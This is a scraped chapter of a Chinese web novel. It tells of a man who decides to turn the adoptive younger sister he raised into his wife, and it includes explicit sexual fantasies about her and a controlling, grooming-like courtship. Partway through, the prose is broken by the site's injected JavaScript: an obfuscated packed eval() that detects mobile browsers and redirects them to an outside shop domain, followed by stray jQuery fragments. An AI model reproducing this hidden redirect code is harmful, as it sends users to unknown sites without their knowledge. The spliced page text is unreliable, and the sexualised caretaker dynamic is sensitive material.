文趣网 > 都市小说 > 笨蛋狐狸渡劫记[快穿] > 12. 当狗的资格
    十二楼:【什么都嗑只会害了你,不要是骨科啊!】

    楼主:【他家好像挺复杂的,又来了个妹妹,不确定亲不亲。】

    十三楼:【青梅竹马吗?好羡慕啊,从小就有老婆。我的老婆什么时候把我领回去....】

    十四楼:【我和他熟一点,不是亲妹妹,但也不是....怎么说呢,他只对他第一个妹妹这样,真的很奇怪。】

    楼主:【对对对,伪装成哥哥的身份,正义凛然的干着爸爸+妈妈+男朋友的事情。】

    十五楼:【帅吗?这种霸道男我好爱。】

    楼主:【别想了,校花都拒绝了,除了她妹妹,其他女人在他眼前只是直立行走的猴。】

    十六楼:【更好嗑了,还不开窍就锁定了老婆吗!妹妹就是老婆!】

    时序的手一震,手机摔在白色床单上,妹妹怎么能是老婆!

    妹妹怎么能是老婆!

    妹妹就是妹妹啊,妹妹是不能变成妻子的。

    要是妹妹变成妻子的话,他到底是哥哥还是丈夫。

    要是妹妹变成妻子的话,就不能像以前一样坦率地揉着她的头安慰。

    要是妹妹变成妻子的话,就只能在晚上和妹妹一起缩在温暖的被子里,从她卡通睡衣的衣摆钻上去,先亲一亲盛满了牛奶的....

    要是妹妹变成妻子的话,就不能以哥哥的名义爱护她。

    要是妹妹变成妻子的话,就可以在无人的夜抱着妹妹去浴室,软绵绵的小肚腩紧贴着他。可能会含含糊糊的不让亲,然后被他趁机含住了湿润的小舌。

    卿卿大概会慢半拍的退距,被他吃得口水直流,挡得住上面,防不住下边,呜呜咽咽地哭着承。

    也不能太过分了,不让哥哥舔了怎么办。

    炸了毛的小姑娘会把哥哥赶出门吗?

    他再自己悄悄溜回来。

    趁着宝宝睡着,在她香喷喷的颈窝嗦出自己的痕迹。

    粉红的,湿润的,哥哥印在妹妹身上的。

    所以,妹妹只能是妻子....

    不对....

    我是说妻子应该是妹妹。

    抱歉,我真正的意思是,妹妹.....

    凌晨两点五十一分,时序握着自己,滚烫坚硬,溢出细喘。

    确定!

    妹妹就是老婆。

    “谈谈?”

    晨跑路上,时序拦下月明。

    谈就谈,书房里,时序重新做回原有的位置。

    开门见山,神采奕奕的不像一晚上没睡的人,“我喜欢卿卿,不是哥哥对妹妹的喜欢,是男人对女人的喜欢。你得帮我。”

    月明审视着他,“凭什么?”

    “凭我爱她,了解她。凭我参与了她每一次成长,凭我照顾了她十五年。凭你再也找不到,比我更适合的选择。”

    “所以呢?卿卿可以不结婚,温家可以养她一辈子。”

    时序笑了,笑得胸有成竹,“你我都知道,卿卿是只懒洋洋的米虫。”

    “当然,她自己也能活得很好,不需要男人。”

    “可她享受着别人的照顾,她习惯了有人跪在地上,给她洗脚穿鞋。她天生就是小公主,她值得最好的。”

    月明觉得他像开屏的孔雀,更刺眼了,“我也可以。”

    “你不爱她,你只是想照顾她。”

    “你的心情,和我之前一样。愧疚夹杂着责任感,你喜欢她,可你不爱她。”

    “可我不一样,我爱她,我会让她在我的臂弯里酣睡,我会把心放在她的脚底下踩,然后跪着擦干净。我有这个能力,也有这个资格,你放眼望去,没人比我更适合,以丈夫的身份。”

    月明的脸色不太妙,时序话锋一转,不想得罪人,“想想好处呢?她会永远陪伴在我们身边,以前做你的姐姐,将来做你的嫂子,如果卿卿想生孩子,她的孩子会唤你,姑姑。”

    好像没有不同意的理由。

    “卿卿不一定会同意。”

    时序笑得更灿烂了,三岁就会给自己找仆人的小姑娘,怎么会不知道自己这只高贵的波斯猫,该养在谁的窝里呢?

    “你太小看她了,她是看人下菜碟的高手。”

    月明亮出最后的底牌,“就算你得到了她,难道她爱你吗?”

    时序挑眉,“当狗最重要的是爱与忠诚。她可能不爱我,但一定懒得去爱别人。”

    月明走了,走之前撂下话来,“我不帮你。”

    时序也起身,不反对,就是帮了大忙了。

    不睡懒觉的假期叫什么假期呢?

    高三实在是苦,饶是散漫的卿卿,也为卷子上最后几道大题亮灯到深夜。

    重工的刺绣窗帘从天花板垂到地板上,遮住明媚的阳光,维护少女的美梦。

    时序松了松领口的扣子,轻步走了进去。

    有小小的起伏埋在被子里,弹力极佳的床垫承托着一切,然后被更沉重的压下去。

    只是靠近她,就让男人觉得窒息。

    如此深刻的意识到,他是个男人。

    凌乱的发丝铺在枕头上,古铜色的手掌在其中穿梭。

    被一根,两根,无数根缠绕,男人毫无挣扎的想法,心甘情愿地举手投降。

    就沉浸吧,沉浸在床头,沉浸于发丝,沉浸少女绯色的梦境。

    哦,卿卿。

    感谢你降落在我身边。

    卿卿醒的时候已经快要正午,哥哥就坐在她床头,西装裤下紧绷的大腿紧贴着她的脸颊。

    睡得太久,反而有些头晕,勉强抬起的头又坠回床。

    男人放下书,轻车熟路地顺着头发抬起少女瓷白的小脸儿。

    刚醒,脸上还映有被子的痕迹,泛着萎靡的睡意。

    让她躺在大腿上,按摩她的太阳穴。

    怎么这么可爱,额头俏皮的碎发可爱,脸颊未消的红晕可爱,就连打个哈欠溢出的眼泪,都闪闪发光。

    她还没睁眼,就让他神魂颠倒。

    卿卿舒服得哼哼唧唧,半梦半醒。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501665|202766||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    “卿卿,要不要去看烟花。日本举办的夏日祭,有烟火大会,带你去玩儿好不好。”

    “月明又要带我们出去玩儿吗?爸爸妈妈也去吗?”

    男人的手顺着脸颊摸到了脖子,不轻不重地揉捏着她细嫩的脖颈。

    “不,就哥哥带你去,不带任何人。”

    男人稍微加大了力度,不留痕迹的让女孩儿更清醒些。

    卿卿又打了个哈欠,这才意识到,自己躺在哥哥腿上,挣扎着坐起身。

    “哥哥不要上班吗,你好忙的样子。”

    男人索性下床,拉开窗帘,让阳光照进来。

    背靠着日光,像座山一样立在床边,阳光透过衬衫,勾勒出上窄下宽的倒三角身材,袖口挽在臂弯,蓄意勾引。

    可惜卿卿实在是太困了,脸蛋又重新压在被子上,半眯着眼睛看着男人走进,又重新托起她的脸颊。

    “哥哥请了长假,没什么事比卿卿更重要。”

    妈还年轻,再辛苦几年吧。

    实在不行,不还有月明呢。

    老婆可就一个。

    日本也不是说去就去的,签证还要一段时间。

    卿卿吃完早饭,被男人哄着去看房子。

    卿卿报的大学就在本市,男人很有心机的计划提前买好。

    他早上联系的中介,出手阔绰又能全款,在等妹妹起床的几个小时内,房屋的信息就已经发到了他的手机上。

    独立而安全的一室一厅,最好不要太大。

    哦,床一定要大。

    他非常民主,支持妹妹一定要体验一下宿舍群居生活,然后再回到他们的小窝,就知道有人伺候是如此的舒服。

    月明在楼上看着,那男的换了身新衣服才出门,领带是卿卿裙摆的颜色,骚哄儿的,手还若有似无的停在半空,轻扶着少女的腰,不要脸。

    转身却和温母撞了个满怀。

    “你哥是不刚才出去了,他怎么一大早就给我发信息请假,还是长假。去哪了?什么意思?什么叫归期未定?”

    月明只能打着哈哈回房间。

    她总不能说,妈,你养的大猪在和小猪二号夺白菜的时候开窍了,学会拱白菜了?

    看房子比想象的更累人,卿卿靠在玄关处,看着男人走进房子的每一个角落,五指张开按在墙上,爆出狰狞的青筋,和中介说着要整改的地方。

    “哥哥也要在这里住吗?”

    问的那么细,连抽烟机的牌子都不满意,偏偏选的房子不大。

    男人突兀地停下,走进,弯腰用鼻尖蹭着少女的侧脸,答非所问,“不欢迎哥哥?”

    中介已经有眼力见的走开,狭窄拥挤的玄关处,阳光映出两人交错的身影,恍若合为一体。

    “小没良心的,不要哥哥了?”

    卿卿把男人靠近的脸推远,也答非所问,“我已经成年了啊,哥哥?”

    时序情不自禁地深吸口气,抬头去拱。

    当狗有了主人,就会怀念锁链的沉重。